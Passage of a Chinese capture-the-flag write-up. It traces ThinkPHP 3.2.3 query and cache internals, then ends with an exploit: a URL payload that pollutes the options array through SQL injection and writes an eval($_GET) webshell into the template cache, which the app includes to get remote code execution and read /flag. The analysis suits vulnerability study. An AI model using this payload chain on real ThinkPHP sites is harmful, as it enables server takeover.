      [6] =>
      string(8) "distinct"
      [7] =>
      string(4) "auto"
      [8] =>
      string(6) "filter"
      [9] =>
      string(8) "validate"
      [10] =>
      string(6) "result"
      [11] =>
      string(5) "token"
      [12] =>
      string(5) "index"
      [13] =>
      string(5) "force"
    }
    }
    
    之后就到find函数了(这里就有可控参数$cid了)
    ### function find()
/**
     * 查询数据
     * @access public
     * @param mixed $options 表达式参数
     * @return mixed
     */
    public function find($options = array())
    {
        if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }
        // 根据复合主键查找记录
        $pk = $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) {
                    $count++;
                }

            }
            if (count($pk) == $count) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where'] = $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit'] = 1;
        // 分析表达式
        $options = $this->_parseOptions($options);
        // 判断查询缓存
        if (isset($options['cache'])) {
            $cache = $options['cache'];
            $key   = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
            $data  = S($key, '', $cache);
            if (false !== $data) {
                $this->data = $data;
                return $data;
            }
        }
        $resultSet = $this->db->select($options);
        if (false === $resultSet) {
            return false;
        }
        if (empty($resultSet)) {
// 查询结果为空
            return null;
        }
        if (is_string($resultSet)) {
            return $resultSet;
        }

        // 读取数据后的处理
        $data = $this->_read_data($resultSet[0]);
        $this->_after_find($data, $options);
        if (!empty($this->options['result'])) {
            return $this->returnResult($data, $this->options['result']);
        }
        $this->data = $data;
        if (isset($cache)) {
            S($key, $data, $cache);
        }
        return $this->data;
    }
  • 首先将当前对象的$options设置为空数组,而$options的值为:string(1) "2"
  • 首先通过is_numeric()和is_string()函数对参数$option进行检查。如果传入的参数是数字或者字符类型,就会假设这是要根据主键进行查询

function getPk()

/**  
* 获取主键名称  
* @access public  
* @return string  
*/  
public function getPk()  
{ echo "getPk方法被调用!!\r\n";  
var_dump($this->pk);  
return $this->pk;  
}

(有些东西自己debug的时候加的)
这里返回的当前对象的主键

string(2) "id"

其实也就是将$options赋值给了这个where["id"]

  • 如果传入的参数是数字或字符串类型,他会创建一个$where数组,并用主键作为键,传入的参数为值,然后这个$where数组放入$options['where']中
    dump->$options['where']:
array(1) {
'id' =>
string(1) "2"
}

其实就是交换了一下并且转化为数组的形式(我的理解)

  • 接着就是将当前对象利用getPk方法获取当前对象的主键赋值给$pk变量
    dump(虽然知道和前面是一样的但是我还是写出来一下,主打一个仔细):
string(2) "id"

接下来进入下一个判断

  • 判断$options是否为数组且不为空,并且检查$pk是否为数组(也就是复合主键)
  • 先将count赋值为0,利用arrary_key函数返回$options数组中所有的键或键的子集(也就是里面的where和id吧)
  • 如果某个键是整数(is_int($key) 成立),则递增 $count。
  • 把增加完的count与$pk进行比较判断是否数量相同
  • 使用循环将复合主键字段和对应的值存储到 $where 数组中,并从 $options 中移除相应的元素。
  • 将 $where 数组赋值给 $options['where'],若前面的count不匹配则返回false

  • 接下来设置了$options[‘limit’] = 1也就是只能返回一条记录
    ### function _parseOptions

    /**
       * 分析表达式
       * @access protected
       * @param array $options 表达式参数
       * @return array
       */
      protected function _parseOptions($options = array())
      {
          if (is_array($options)) {
              $options = array_merge($this->options, $options);
          }
    
          if (!isset($options['table'])) {
              // 自动获取表名
              $options['table'] = $this->getTableName();
              $fields           = $this->fields;
          } else {
              // 指定数据表 则重新获取字段列表 但不支持类型检测
              $fields = $this->getDbFields();
          }
    
          // 数据表别名
          if (!empty($options['alias'])) {
              $options['table'] .= ' ' . $options['alias'];
          }
          // 记录操作的模型名称
          $options['model'] = $this->name;
    
          // 字段类型验证
          if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
              // 对数组查询条件进行字段类型检查
              foreach ($options['where'] as $key => $val) {
                  $key = trim($key);
                  if (in_array($key, $fields, true)) {
                      if (is_scalar($val)) {
                          $this->_parseType($options['where'], $key);
                      }
                  } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
                      if (!empty($this->options['strict'])) {
                          E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
                      }
                      unset($options['where'][$key]);
                  }
              }
          }
          // 查询过后清空sql表达式组装 避免影响下次查询
          $this->options = array();
          // 表达式过滤
          $this->_options_filter($options);
          return $options;
      }
    
  • 根据上面传递进来的值,dump出来看一下传入了哪些东西
    ```php

array(2) {
'where' =>
array(1) {
'id' =>
string(1) "2"
}
'limit' =>
int(1)
}

当前对象的`options`:
```php
array(1) {
'field' =>
string(7) "content"
}

接下来来分析逻辑

  • 判断传入的$options是否是数组(当然这里直接看就知道是数组),使用arrat_merge讲当前对象的options和传入的options进行合并
    合并之后:
    ```php
    array(3) {
    'field' =>
    string(7) "content"
    'where' =>
    array(1) {
    'id' =>
    string(1) "2"
    }
    'limit' =>
    int(1)
    }
- 当前没有传入表名,所以会自动通过`getTableName()`方法进行自动获取表名,这个方法上面已经分析过了,这里就不再次分析了
- 获取完表名之后将当前对象的`$field`赋值给了变量`$fields`
当前对象`$fields`
```php
array(5) { 
 [0] => 
 string(2) "id" 
 [1] => 
 string(7) "content" 
 [2] => 
 string(5) "title" 
 '_pk' => 
 string(2) "id" 
 '_type' => 
 array(3) { 
 'id' => 
 string(7) "int(11)" 
 'content' => 
 string(4) "text" 
 'title' => 
 string(4) "text" 
 } 
 }
  • 否则调用getDbFields方法来赋值

function getDbFields()

/**
     * 获取数据表字段信息
     * @access public
     * @return array
     */
    public function getDbFields()
    {
        if (isset($this->options['table'])) {
// 动态指定表名
            if (is_array($this->options['table'])) {
                $table = key($this->options['table']);
            } else {
                $table = $this->options['table'];
                if (strpos($table, ')')) {
                    // 子查询
                    return false;
                }
            }
            $fields = $this->db->getFields($table);
            return $fields ? array_keys($fields) : false;
        }
        if ($this->fields) {
            $fields = $this->fields;
            unset($fields['_type'], $fields['_pk']);
            return $fields;
        }
        return false;
    }
  • 首先判断当前对象的表名(键名)是否设置了
  • 若有设置:
    • 判断 table是否是数组,获取数组的键作为表名,如果是字符串那么就直接设置为表名,如果里面包含了'('则认为是子查询直接返回false
    • 使用数据库连接对象的getFields方法获取字段信息,这个方法在之前也分析过一次了
    • 如果成功获取到字段信息,就返回字段名的数组,否则返回false
  • 若没有设置:
    • 检查当前对象的fields是否存在,如果定义了,就返回字段列表,移除_type and _pk
  • 判断['alias']这个键值是否存在(也就是数据库别名) 就会将表名与别名结合起来进行查询(当然通过前面的dump可以看出来是没有别名的)
  • 记录当前操作模型的名称传入model的值(Articles)
  • 判断[where]是否存在且是否为数组;[$field]存在且[join]不存在,则对数组查询条件进行字段类型检查
  • 首先遍历where的值,先利用trim进行去除空格,判断$key是否存在于$fields之中(下面dump出来好分析),
    array(5) {
    [0] =>
    string(2) "id"
    [1] =>
    string(7) "content"
    [2] =>
    string(5) "title"
    '_pk' =>
    string(2) "id"
    '_type' =>
    array(3) {
    'id' =>
    string(7) "int(11)"
    'content' =>
    string(4) "text"
    'title' =>
    string(4) "text"
    }
    }
    

这里的进入判断类型之前还有一个判断,这里忘记说了,这里的in_array检查$key是否存在于数组fields中,且true表示要执行严格的比较,比较完之后才要判断下面的东西

  • 判断键名的值是否是标量(标量变量是包含int、 float、string或bool的变量。类型array、object、resources 和null不是标量。)很明显是的
  • 进入_praseTyoe方法

function _parseType

/**
     * 数据类型检测
     * @access protected
     * @param mixed $data 数据
     * @param string $key 字段名
     * @return void
     */
    protected function _parseType(&$data, $key)
    {
        if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
            $fieldType = strtolower($this->fields['_type'][$key]);
            if (false !== strpos($fieldType, 'enum')) {
                // 支持ENUM类型优先检测
            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);
            } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                $data[$key] = floatval($data[$key]);
            } elseif (false !== strpos($fieldType, 'bool')) {
                $data[$key] = (bool) $data[$key];
            }
        }
    }
  • where的键值传入了$data(注意这里直接传的是地址&),键名key传入$key,很明显这里第一个if语句是成立的,我们直接看下面做了什么操作就行了
  • 判断是什么类型(ENUM、INT、BOOL、DOUBLE、FLOAT)这里的枚举类型具有优先级,但是没有进行什么操作,int类型将值转化为整数,float和double转化为浮点数,bool类型还是转化为布尔型。
  • 其实就是为了确保数据可以以正确形式写入数据库进行查询
    回到_parseOptions方法
    elseif的条件是:
  • $key不是一个纯数字,而是一个字段名或者是表达式
  • $key不能以下划线开头
  • 确保不能包含点号
  • 确保不能包含括号
  • 确保不能包含 | 和 &
    如果key不满足上面二的条件,那么配置中的strict选项可能会报错,并且移除$key
  • 查询完之后又将当前对象的options进行清空
  • 后面的filter没有进行什么操作就不分析了,最后返回$options
    转化后的options
    array(5) { 
    'field' => 
    string(7) "content" 
    'where' => 
    array(1) { 
    'id' => 
    int(2) 
    } 
    'limit' => 
    int(1) 
    'table' => 
    string(8) "articles" 
    'model' => 
    string(8) "Articles" 
    }
    
    可以和前面原来的options对比一下看看是不是跟着逻辑走的
    这里返回后回到find方法
  • 判断查询缓存是否存在,跟进后发现直接跳出去了,说明是不存在的也就是cache这个缓存不存在
  • 若存在:将缓存配置保存到$cache变量中,如果缓存配置中设置了键名key则将其作为缓存的键名,否则,使用序列化后的查询选项作为键名;从cache中获取数据赋值给$data(调用了S()方法);如果成功就赋值给当前对象的data之中
  • 接下来利用select方法进行查询返回给$resultSet

function select()

/**
     * 查找记录
     * @access public
     * @param array $options 表达式
     * @return mixed
     */
    public function select($options = array())
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $sql    = $this->buildSelectSql($options);
        $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
        return $result;
    }
  • 同样的还是将$options设置成空数组(当前对象中),设置当前模型名称,进入parseBind方法,进行参数绑定

function parseBind

/**
     * 参数绑定分析
     * @access protected
     * @param array $bind
     * @return array
     */
    protected function parseBind($bind)
    {
        $this->bind = array_merge($this->bind, $bind);
    }
  • 接下来调用buildselectsql 方法,生成查询sql语句

function buildSelectSql()

/**
     * 生成查询SQL
     * @access public
     * @param array $options 表达式
     * @return string
     */
    public function buildSelectSql($options = array())
    {
        if (isset($options['page'])) {
            // 根据页数计算limit
            list($page, $listRows) = $options['page'];
            $page                  = $page > 0 ? $page : 1;
            $listRows              = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
            $offset                = $listRows * ($page - 1);
            $options['limit']      = $offset . ',' . $listRows;
        }
        $sql = $this->parseSql($this->selectSql, $options);
        return $sql;
    }
  • 如果$options中包含page键,表示需要进行分页查询,提取出页数和每页的行数,根据他们计算出limit字句,将其添加到$optionsp['limit']中,如果未设置每页行数,默认使用20

function parseSql()

/**
     * 替换SQL语句中表达式
     * @access public
     * @param array $options 表达式
     * @return string
     */
    public function parseSql($sql, $options = array())
    {
        $sql = str_replace(
            array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
                $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
                $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
                $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
                $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
                $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
                $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
                $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
                $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
                $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
                $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
                $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
            ), $sql);
        return $sql;
    }
  • 这个方法用于解析sql查询语句中的各种选项
    替换 %TABLE%:  
    调用 $this->parseTable($options['table']) 方法,解析数据表名。  
    替换 %DISTINCT%:  
    调用 $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false)  
    方法,解析是否需要 DISTINCT。  
    替换 %FIELD%:  
    调用 $this->parseField(!empty($options['field']) ? $options['field'] : '*')  
    方法,解析查询的字段。  
    替换 %JOIN%:  
    调用 $this->parseJoin(!empty($options['join']) ? $options['join'] : '') 方法,解析  
    JOIN 子句。  
    替换 %WHERE%:  
    调用 $this->parseWhere(!empty($options['where']) ? $options['where'] : '') 方法,解析  
    WHERE 子句。  
    替换 %GROUP%:  
    调用 $this->parseGroup(!empty($options['group']) ? $options['group'] : '') 方法,解析  
    GROUP BY 子句。  
    替换 %HAVING%:  
    调用 $this->parseHaving(!empty($options['having']) ? $options['having'] : '')  
    方法,解析 HAVING 子句。  
    替换 %ORDER%:  
    调用 $this->parseOrder(!empty($options['order']) ? $options['order'] : '') 方法,解析  
    ORDER BY 子句。  
    替换 %LIMIT%:  
    调用 $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '') 方法,解析  
    LIMIT 子句。 替换 %UNION%:  
    调用 $this->parseUnion(!empty($options['union']) ? $options['union'] : '') 方法,解析  
    UNION 子句。  
    替换 %LOCK%:  
    调用 $this->parseLock(isset($options['lock']) ? $options['lock'] : false)  
    方法,解析是否加锁。  
    替换 %COMMENT%:  
    调用 $this->parseComment(!empty($options['comment']) ? $options['comment'] : '')  
    方法,解析注释。  
    替换 %FORCE%:  
    调用 $this->parseForce(!empty($options['force']) ? $options['force'] : '') 方法,解析  
    FORCE 选项。  
    将上述解析结果应用到 SQL 查询语句中。  
    使用 str_replace 函数将 SQL 查询语句中的占位符替换为具体的解析结果。
    
  • 其实就是构造sql语句
    生成完之后返回然后在select方法中返回查询结果
    当然很明显可以知道,查询的结果是:
array(1) { 
 [0] => 
 array(1) { 
 'content' => 
 string(41) "This is the content of the second article" 
 } 
 }

find函数:

  • 后面的if判断都跳过了,直接到读取数据后的处理(这里的cache留个眼子,感觉有漏洞点)
  • 接下来进入_read_data方法

function _read_data

/**
     * 数据读取后的处理
     * @access protected
     * @param array $data 当前数据
     * @return array
     */
    protected function _read_data($data)
    {
        // 检查字段映射
        if (!empty($this->_map) && C('READ_DATA_MAP')) {
            foreach ($this->_map as $key => $val) {
                if (isset($data[$val])) {
                    $data[$key] = $data[$val];
                    unset($data[$val]);
                }
            }
        }
        return $data;
    }
  • 首先检查模型类中是否定义了字段映射并且读取(READ_DATA_MAP)这个配置项,判断是否启动数据映射功能,这里是没有开启的,所以就直接跳出

  • _after_find方法没做什么操作。判断result键名是否存在,存在则进行returnResult方法,不存在则不作操作。接下来将$data赋值给当前对象的data属性
    data:

    array(1) {
    'content' =>
    string(41) "This is the content of the second article"
    }
    
  • 判断缓存cache是否存在,存在的话就利用S方法进行对缓存进行读取和写入(这里跟进也直接跳过了,因为前面也没有cache)
  • 最后返回查询结果也就是当前对象刚刚被赋值为$data

function returnResult()

protected function returnResult($data, $type = '')  
{  
if ($type) {  
if (is_callable($type)) {  
return call_user_func($type, $data);  
}  
switch (strtolower($type)) {  
case 'json':  
return json_encode($data);  
case 'xml':  
return xml_encode($data);  
}  
}  
return $data;  
}

//这里就直接粘贴了gpt解释的

  1. if ($type) {: 检查是否提供了输出类型 $type。
  2. if (is_callable($type)) {: 如果 $type 是一个可调用的函数或方法,则通过 call_user_func 调用该函数,并传递查询结果 $data,然后将结果返回。这样允许用户定义自己的输出处理逻辑。
  3. switch (strtolower($type)) {: 如果 $type 不是可调用的函数,则转换为小写,并使用 switch 语句基于不同的输出类型执行相应的处理。
    • case 'json':: 如果输出类型是 JSON,使用 json_encode 将查询结果 $data 转换为 JSON 格式,并返回。
    • case 'xml':: 如果输出类型是 XML,调用 xml_encode 方法将查询结果 $data 转换为 XML 格式,并返回。
  4. return $data;: 如果没有提供输出类型或者提供的输出类型不在处理范围内,直接返回原始查询结果 $data
  5. 判断缓存cache是否存在,存在的话就利用S方法进行对缓存进行读取和写入
  6. 最后返回查询结果也就是当前对象刚刚被赋值为$data
    这里补充一下,因为前面的$options是可以被污染的,也就是cache等键都是可以自己添加进来的,比如传参?cid[cache]=1,是可以在options中加入的,也就是前面还有一个S方法没有分析,这里就拿出来分析一下

function S()

/**
 * 缓存管理
 * @param mixed $name 缓存名称,如果为数组表示进行缓存设置
 * @param mixed $value 缓存值
 * @param mixed $options 缓存参数
 * @return mixed
 */
function S($name, $value = '', $options = null)
{
    static $cache = '';
    if (is_array($options)) {
        // 缓存操作的同时初始化
        $type  = isset($options['type']) ? $options['type'] : '';
        $cache = Think\Cache::getInstance($type, $options);
    } elseif (is_array($name)) {
        // 缓存初始化
        $type  = isset($name['type']) ? $name['type'] : '';
        $cache = Think\Cache::getInstance($type, $name);
        return $cache;
    } elseif (empty($cache)) {
        // 自动初始化
        $cache = Think\Cache::getInstance();
    }
    if ('' === $value) {
        // 获取缓存
        return $cache->get($name);
    } elseif (is_null($value)) {
        // 删除缓存
        return $cache->rm($name);
    } else {
        // 缓存数据
        if (is_array($options)) {
            $expire = isset($options['expire']) ? $options['expire'] : null;
        } else {
            $expire = is_numeric($options) ? $options : null;
        }
        return $cache->set($name, $value, $expire);
    }
}
  • 首先函数接受三个参数,显而易见,分别是$name,$value``$options.
  • 接下来设置了一个静态变量$cache为了保存后面的think\Cache实例
  • 分别判断$options是否是数组,$name是否是数组,$cache是否为空(按顺序),

然后最后也是调用了一次show方法,这个在前面已经分析过了,与上面的区别就是利用了base64_encode进行了加密输出。

利用

首先我们还是把find方法放出来

find()

/**  
     * 查询数据  
     * @access public  
     * @param mixed $options 表达式参数  
     * @return mixed  
     */  
    public function find($options = array())  
    {  
        if (is_numeric($options) || is_string($options)) {  
            $where[$this->getPk()] = $options;  
            $options               = array();  
            $options['where']      = $where;  
        }  
        // 根据复合主键查找记录  
        $pk = $this->getPk();  
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {  
            // 根据复合主键查询  
            $count = 0;  
            foreach (array_keys($options) as $key) {  
                if (is_int($key)) {  
                    $count++;  
                }  

            }  
            if (count($pk) == $count) {  
                $i = 0;  
                foreach ($pk as $field) {  
                    $where[$field] = $options[$i];  
                    unset($options[$i++]);  
                }  
                $options['where'] = $where;  
            } else {  
                return false;  
            }  
        }  
        // 总是查找一条记录  
        $options['limit'] = 1;  
        // 分析表达式  
        $options = $this->_parseOptions($options);  
        // 判断查询缓存  
        if (isset($options['cache'])) {  
            $cache = $options['cache'];  
            $key   = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));  
            $data  = S($key, '', $cache);  
            if (false !== $data) {  
                $this->data = $data;  
                return $data;  
            }  
        }  
        $resultSet = $this->db->select($options);  
        if (false === $resultSet) {  
            return false;  
        }  
        if (empty($resultSet)) {  
// 查询结果为空  
            return null;  
        }  
        if (is_string($resultSet)) {  
            return $resultSet;  
        }  

        // 读取数据后的处理  
        $data = $this->_read_data($resultSet[0]);  
        $this->_after_find($data, $options);  
        if (!empty($this->options['result'])) {  
            return $this->returnResult($data, $this->options['result']);  
        }  
        $this->data = $data;  
        if (isset($cache)) {  
            S($key, $data, $cache);  
        }  
        return $this->data;  
    }

这里我们着重看

// 判断查询缓存
        if(isset($options['cache'])){
            $cache  =   $options['cache'];
            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
            $data   =   S($key,'',$cache);
            if(false !== $data){
                $this->data     =   $data;
                return $data;
            }
        }

和

// 读取数据后的处理
        $data   =   $this->_read_data($resultSet[0]);
        $this->_after_find($data,$options);
        if(!empty($this->options['result'])) {
            return $this->returnResult($data,$this->options['result']);
        }
        $this->data     =   $data;
        if(isset($cache)){
            S($key,$data,$cache);
        }

两个部分,分别是从缓存取数据和存入数据的操作,因为tp3.2.3有个nday,也就是sql注入,它的where注入的原理就是污染了$options数组,也就是我们在下面写入数据中可以控制$key,$data,$cache的值,从而实现任意文件写入,但是这里有个问题,我们来到S方法

S()

function S($name, $value = '', $options = null)
    {
        static $cache = '';
        if (is_array($options)) {
            $type = isset($options['type']) ? $options['type'] : '';
            $cache = Think\Cache::getInstance($type, $options);
        } elseif (is_array($name)) {
            $type = isset($name['type']) ? $name['type'] : '';
            $cache = Think\Cache::getInstance($type, $name);
            return $cache;
        } elseif (empty($cache)) {
            $cache = Think\Cache::getInstance();
        }
        if ('' === $value) {
            return $cache->get($name);
        } elseif (is_null($value)) {
            return $cache->rm($name);
        } else {
            if (is_array($options)) {
                $expire = isset($options['expire']) ? $options['expire'] : null;
            } else {
                $expire = is_numeric($options) ? $options : null;
            }
            return $cache->set($name, $value, $expire);
        }
    }

这里我们会走到

if ('' === $value) {
   return $cache->get($name);

这个地方

GET()

/**  
* 读取缓存  
* @access public  
* @param string $name 缓存变量名  
* @return mixed  
*/  
public function get($name)  
{ 
$filename = $this->filename($name);  
if (!is_file($filename)) {  
return false;  
}  
N('cache_read', 1);  
$content = file_get_contents($filename);  
if (false !== $content) {  
$expire = (int) substr($content, 8, 12);  
if (0 != $expire && time() > filemtime($filename) + $expire) {  
//缓存过期删除缓存文件  
unlink($filename);  
return false;  
}  
if (C('DATA_CACHE_CHECK')) {  
//开启数据校验  
$check = substr($content, 20, 32);  
$content = substr($content, 52, -3);  
if (md5($content) != $check) {  
//校验错误  
return false;  
}  
} else {  
$content = substr($content, 20, -3);  
}  
if (C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {  
//启用数据压缩  
$content = gzuncompress($content);  
}  
$content = unserialize($content);  
return $content;  
} else {  
return false;  
}  
}

原本的想法是可以进行unserialize从而来触发反序列化,再利用tp原来存在的一些方法来进行读取flag,但是这个地方的content是不可控的,所以这个地方就卡住了,但是我在这里发现了调用了filename的方法。

filename()

/**  
* 取得变量的存储文件名  
* @access private  
* @param string $name 缓存变量名  
* @return string  
*/  
private function filename($name)  
{  
$name = md5(C('DATA_CACHE_KEY') . $name);  
if (C('DATA_CACHE_SUBDIR')) {  
// 使用子目录  
$dir = '';  
for ($i = 0; $i < C('DATA_PATH_LEVEL'); $i++) {  
$dir .= $name{$i} . '/';  
}  
if (!is_dir($this->options['temp'] . $dir)) {  
mkdir($this->options['temp'] . $dir, 0755, true);  
}  
$filename = $dir . $this->options['prefix'] . $name . '.php';  
} else {  
$filename = $this->options['prefix'] . $name . '.php';  
}  
return $this->options['temp'] . $filename;  
}

可以看见对文件进行了写入的操作,那么我们的值都可控,是不是就可以写入马子了?但是这道题专门将tp的目录隔离在了web路径访问不到的地方并且对文件名进行了加密,且web根目录无可写权限。所以这里又卡住了。

后面看见一个common~runtime.php,这个文件里面记录了所有thinkphp在运行时调用的类和函数。

namespace Behavior {
    use Think\Storage;
    use Think\Think;
    class ParseTemplateBehavior
    {
        public function run(&$_data)
        {
            $engine = strtolower(C('TMPL_ENGINE_TYPE'));
            $_content = empty($_data['content']) ? $_data['file'] : $_data['content'];
            $_data['prefix'] = !empty($_data['prefix']) ? $_data['prefix'] : C('TMPL_CACHE_PREFIX');
            if ('think' == $engine) {
                if ((!empty($_data['content']) && $this->checkContentCache($_data['content'], $_data['prefix'])) || $this->checkCache($_data['file'], $_data['prefix'])) {
                    Storage::load(C('CACHE_PATH') . $_data['prefix'] . md5($_content) . C('TMPL_CACHFILE_SUFFIX'), $_data['var']);
                } else {
                    $tpl = Think::instance('Think\\Template');
                    $tpl->fetch($_content, $_data['var'], $_data['prefix']);
                }
            } else {
                if (strpos($engine, '\\')) {
                    $class = $engine;
                } else {
                    $class = 'Think\\Template\\Driver\\' . ucwords($engine);
                }
                if (class_exists($class)) {
                    $tpl = new $class;
                    $tpl->fetch($_content, $_data['var']);
                } else {
                    E(L('_NOT_SUPPORT_') . ': ' . $class);
                }
            }
        }
        protected function checkCache($tmplTemplateFile, $prefix = '')
        {
            if (!C('TMPL_CACHE_ON')) {
                return false;
            }
            $tmplCacheFile = C('CACHE_PATH') . $prefix . md5($tmplTemplateFile) . C('TMPL_CACHFILE_SUFFIX');
            if (!Storage::has($tmplCacheFile)) {
                return false;
            } elseif (filemtime($tmplTemplateFile) > Storage::get($tmplCacheFile, 'mtime')) {
                return false;
            } elseif (C('TMPL_CACHE_TIME') != 0 && time() > Storage::get($tmplCacheFile, 'mtime') + C('TMPL_CACHE_TIME')) {
                return false;
            }
            if (C('LAYOUT_ON')) {
                $layoutFile = THEME_PATH . C('LAYOUT_NAME') . C('TMPL_TEMPLATE_SUFFIX');
                if (filemtime($layoutFile) > Storage::get($tmplCacheFile, 'mtime')) {
                    return false;
                }
            }
            return true;
        }
        protected function checkContentCache($tmplContent, $prefix = '')
        {
            if (Storage::has(C('CACHE_PATH') . $prefix . md5($tmplContent) . C('TMPL_CACHFILE_SUFFIX'))) {
                return true;
            } else {
                return false;
            }
        }
    }
}

这个类的run方法,恰好也是使用了md5的content的值进行文件的命名,最后走到Storage::load其实也就是调用了文件包含的include方法。那么我们就有了思路,将cache的key的值构造成之前show函数中传入的base64_encode($content['content'])的值,同时将生成缓存文件路径即options['temp']的位置替换成C('CACHE_PATH') . $_data['prefix'],就可以完美的进行cache的覆盖,从而让server加载我们写入的webshell缓存。

所以步骤如下:

获取cid为2的content的base64的值。(不要在意其他的,都是debug时候自己加的东西)

步骤二:
playload:http://192.168.43.146/N1start/tp/index.php//?s=home/index/page&cid[where]=1=0%20union%20select%20%27%0D%0Aeval($\_GET[1]);//%27;&cid\[cache]\[key]=VGhpcyBpcyB0aGUgY29udGVudCBvZiB0aGUgc2Vjb25kIGFydGljbGU=&cid\[cache]\[temp\]=../tp/Application/Runtime/Cache/Home/

最后直接rce

直接cat /flag即可